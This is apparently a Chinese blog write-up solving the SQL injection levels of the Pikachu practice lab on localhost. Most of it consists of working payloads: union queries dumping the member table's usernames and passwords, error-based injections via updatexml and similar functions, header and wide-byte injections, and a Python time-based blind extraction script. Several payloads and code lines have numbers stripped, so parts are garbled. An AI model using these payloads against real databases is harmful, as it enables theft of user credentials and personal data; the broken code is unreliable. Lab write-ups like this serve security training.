1.数字型注入(POST)

可以看到,这个参数提交是POST类型的,用burp。

测试参数id

id='&submit=%E6%9F%A5%E8%AF%A2

可以看到有报错回显,而且根据回显可以判断这个注入为数字型注入,构造payload

查询此表单有多少列

确定只有两列,union注入

id=- union select database(),version()

查询出数据库名为pikachu  数据库版本为5.5.39

继续查询pikachu数据库内有什么表

id=- union select group_concat(table_name), from information_schema.tables where table_schema='pikachu'

继续查询member表内有什么列、

id=- union select group_concat(column_name), from information_schema.columns where table_name='member'

查询所有字段

id=- union select group_concat(id,username,pw,sex,phonenum,address,email), from member

用户表里的所有数据就被注入出来了。

2.字符型注入(get)

先尝试查询

测试sql注入

allen'

出现报错,说明此字符型注入为 ' 闭合

说明闭合成功,没有 ) 存在,而且经过测试没有过滤。所以直接用第一关的payload即可

allen' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

所有用户数据都被注入出来了

3.搜索型注入

测试一下

说明后台语句将参数传递进去时,查询语句的的目标为 al%'

测试发现没有过滤,直接用之前的payload,但是又有一点不同,这里有三个回显位,所以要加一个字段

%' union select group_concat(id,username,pw,sex,phonenum,address,email),2,3 from member#

所有用户数据都被注入出来了

4.xx型注入

照常测试

allen'

回显报错

说明此语句闭合为   ('allen')

并且经过测试,此查询位置也没有过滤,可以直接用第二关的payload,稍微改造一下。

-') union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

用户信息都被注入出来。

5.insert/update注入

根据判断,此关为insert/update注入,应该是在注册或者修改用户账号信息的时候存在注入漏洞,如图。

大致判断此处insert语句为

insert into user(name,password,sex,phone,address1,address2) value('','','','','','')

所以这里没办法使用select拼接,且无回显,我们需要利用报错注入来使数据库将目标信息当做错误信息返回回来

我们在这里使用最省力气的方法,如果在前几个字段注入,肯定还要闭合后面的字段,所以我们直接注入最后一个地址,而地址肯定为字符型,所以我们可以直接构造payload如下,前几个瞎填就行,因为这是最后一个字段,所以闭合括号之后,直接用#注释掉之后的语句即可

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#

报错信息回显,select user()执行成功,而且此位置无过滤,想获得其他信息,参考之前的payload

除此之外,还有很多可以导致报错注入的函数。在这里分享一下。

、通过floor报错,注入语句如下:
and (select from (select count(*),concat(version(),floor(rand()*))x from information_schema.tables group by x)a); 、通过ExtractValue报错,注入语句如下:
and extractvalue(, concat(0x5c, (select table_name from information_schema.tables limit ))); 、通过UpdateXml报错,注入语句如下:
and =(updatexml(,concat(0x3a,(select user())),)) 、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,))a join (select name_const(@@version,))b)c) 、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c; 、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) ); 、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b ); 、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b ); 、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b ); 、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b ); 、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b ); 、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

同理,做update注入,update肯定在修改个人信息的位置,我们同样选择最后一个框框,省事。

还利用刚才的payload

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#

结果发现报错了

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')#' where username='allen'' at line 1

这时才想起来update语句不太一样,update语句格式如下

UPDATE `member` SET `id`=[value-],`username`=[value-],`pw`=[value-],`sex`=[value-],`phonenum`=[value-],`address`=[value-],`email`=[value-] WHERE 

所以不管在哪个列都要闭合,所以改一下payload

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '

返回结果正确

其他数据,利用select语句查询。

6.delete注入

此关长这样,判断应该是先留言,然后在删除的时候可以触发delete注入

先留个严,查看删除链接。

可以判断这个id参数存在delete注入,先查看delete语句模板

DELETE FROM `member` WHERE id=$id;

直接构造payload

and =(updatexml(,concat(0x3a,(select user())),))

然后直接访问url

http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 and 1=(updatexml(1,concat(0x3a,(select%20user())),1))

看到delete报错注入成功

其他信息利用select查询。

7.http header注入

首先发现需要登录,那就先登录试试。

发现他获取了我的http头信息,所以应该是在http头构造sql语句。burp抓一下包

因前端回显只有

Host: 127.0.0.1'or ''='
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/ Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

所以在这三处进行测试。

accept数据出现在报错信息里,所以注入点应该是在User-Agent

测试User-Agent发现,此处没有回显,可以猜测此处是先插入数据库,再输出到前端页面。所以我们可以使用报错注入。

1'and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '

发现注入成功。

8.盲注(based on boolian)

测试

然后测试 allen'

注释掉之后的语句

发现数据库有两列

然后经过测试发现,此处根本不需要盲注。

此关和字符型注入的差别就是,此关只能输出一行回显,所以一些人认为只能盲注。

但是我们只需要吧查询的字符改为不存在的字符,使得第一行消失,联合查询的结果就可以回显。所以我们使用下面的payload即可

-' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

9.盲注(based on time)

照常测试,发现不管输入正确的用户名还是错误的用户名,回显都是  i don't care who you are!

说明后台并没有将数据库命令执行信息回显到前端。这种情况只能使用时间盲注。

先测试一下数据库名的长度

allen' and If(length(database())=7,sleep(5),1)#

发现当length为7的时候  执行了sleep(5)所以,数据库名长度为7

写脚本。

import requests
import urllib
headers = {
"Host": "127.0.0.1" ,
"Connection": "keep-alive" ,
"Upgrade-Insecure-Requests": "" ,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" ,
"Sec-Fetch-User": "?1" ,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ,
"Sec-Fetch-Site": "same-origin" ,
"Sec-Fetch-Mode": "navigate ",
"Referer": "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php" ,
"Accept-Encoding": "gzip, deflate, br ",
"Accept-Language":"zh-CN,zh;q=0.9"}
cookies = {
"Cookie":" PHPSESSID=899k0pd0igmcrftk05e1iqo806 "} def six_six_six(url):
flag = ''
for j in range():
for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}_':
data = url + "allen%27+and+If%28ascii%28substr%28database%28%29%2C{j}%2C1%29%29%3D{i}%2Csleep%285%29%2Cnull%29%23&submit=%E6%9F%A5%E8%AF%A2".format(j=j+,i=ord(i))+r"&submit=查询#"
try:
requests.get(url=data,headers = headers,cookies = cookies,timeout=)
except:
flag=flag+i
print('[*]%s'%flag)
break
print('[+]%s'%flag) url = 'http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name='
six_six_six(url)
'''sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))
(select(flag)from(flag)where(flag)like('f%'))like('f%')
(select(flag)from(flag)where(flag)like('f%'))'''

跑一下

成功跑出数据库名

想注入出其他的信息,可以利用下面的payload

allen%+and+If%28ascii%28substr%28select table_name from information_schema.tables where table_schema = 'pikachu' limit ,%2C{j}%2C1%%%3D{i}%2Csleep%%%2Cnull%%&submit=%E6%9F%A5%E8%AF%A2

其他与之前的代码相同。

10.宽字节注入

先抓包。

已经知道此关为宽字节注入,但是pikachu不好的地方就是这里,因为此关没有报错回显,所以没有比较好的办法去判断此处是不是宽字节注入。

宽字节注入最明显的一个特征就是GBK编码,GBK编码与ascii编码和utf-8不同的地方就是GBK会吃字符。比如说在服务端开启了转义函数后 %df' 就会被编码成 運’

但是在此关因为没有回显,只能强行闭合。

kobe%df' or =#

同理payload 可以为

allen%df' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

其他与之前的相同

pikachu SQL-Injection的更多相关文章

  1. druid sql黑名单 报异常 sql injection violation, part alway true condition not allow

    最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...

  2. PHP+MYSQL网站SQL Injection攻防

    程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...

  3. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  4. HP+MYSQL网站SQL Injection攻防

    WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...

  5. Cacti /graphs_new.php SQL Injection Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...

  6. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  7. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  8. How to prevent SQL injection attacks?

    In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...

  9. Zabbix 3.0.3 SQL Injection

    Zabbix version 3.0.3 suffers from a remote SQL injection vulnerability. ============================ ...

  10. SQL injection

    SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...

随机推荐

  1. python27期JavaScript:

    JavaScript:(简称“JS”) 是一种轻量级的编程语言(ECMAscript5或6)是一种解释性脚本语言(代码不进行预编译)主要用来向HTML页面添加交互行为JavaScript 是互联网上最 ...

  2. Bliss OS 12.1下载 PC上Android10体验

    下载也不是一帆风顺啊 这是设计者的secret: https://forum.xda-developers.com/android/software/bliss-os-x86-pc-s-12-x-de ...

  3. Java定义的数据类型

    /* Java定义的数据类型  一.变量按照数据类型来; 基本数据类型; 整型:byte short  int long  浮点型 float double 字符型 char 布尔型:boolean ...

  4. 其它 用VB6创建ActiveX.dll

    1.打开VB6 2.选择 ActiveX DLL,点击打开 3.在窗口输入测试代码 Public Function addstr(str As String) As String addstr = & ...

  5. ulimit 用法和系统优化

    ulimit :用于shell启动进程所占用的资源 -a:显示目前资源限制的设定: -c <core文件上限>:设定core文件的最大值,单位为区块: -d <数据节区大小>: ...

  6. AGC008E Next or Nextnext(组合计数,神奇思路)

    神仙题. 排列计数,一种常见的做法是 \(i\) 向 \(p_i\) 连边. 然而这里这个就逼迫我们只能从 \(i\) 向 \(a_i\) 连边. 不过没关系,考虑从 \(i\) 向 \(p_i\) ...

  7. Paper | Beyond a Gaussian Denoiser: Residual Learning of Deep CNN for Image Denoising

    目录 故事背景 网络结构 BN和残差学习 拓展到其他任务 发表在2017 TIP. 摘要 Discriminative model learning for image denoising has b ...

  8. 【转】Linux设置定时任务方法

    设置:每天4点运行脚本/var/x/web/train/modeltrain [root@T-XXX-ML-01 log]# crontab -e0 4 * * * /var/x/web/train/ ...

  9. 第02组 Beta冲刺(5/5)

    队名:無駄無駄 组长博客 作业博客 组员情况 张越洋 过去两天完成了哪些任务 验收了小程序的主要功能 制作Beta展示所需要用到的视频 制作Beta展示PPT 准备Beta答辩 提交记录(全组共用) ...

  10. SiIsEnterpriseFunctionsRestrictedOnOpenSource

    src/Cedar/Server.c SiIsEnterpriseFunctionsRestrictedOnOpenSource()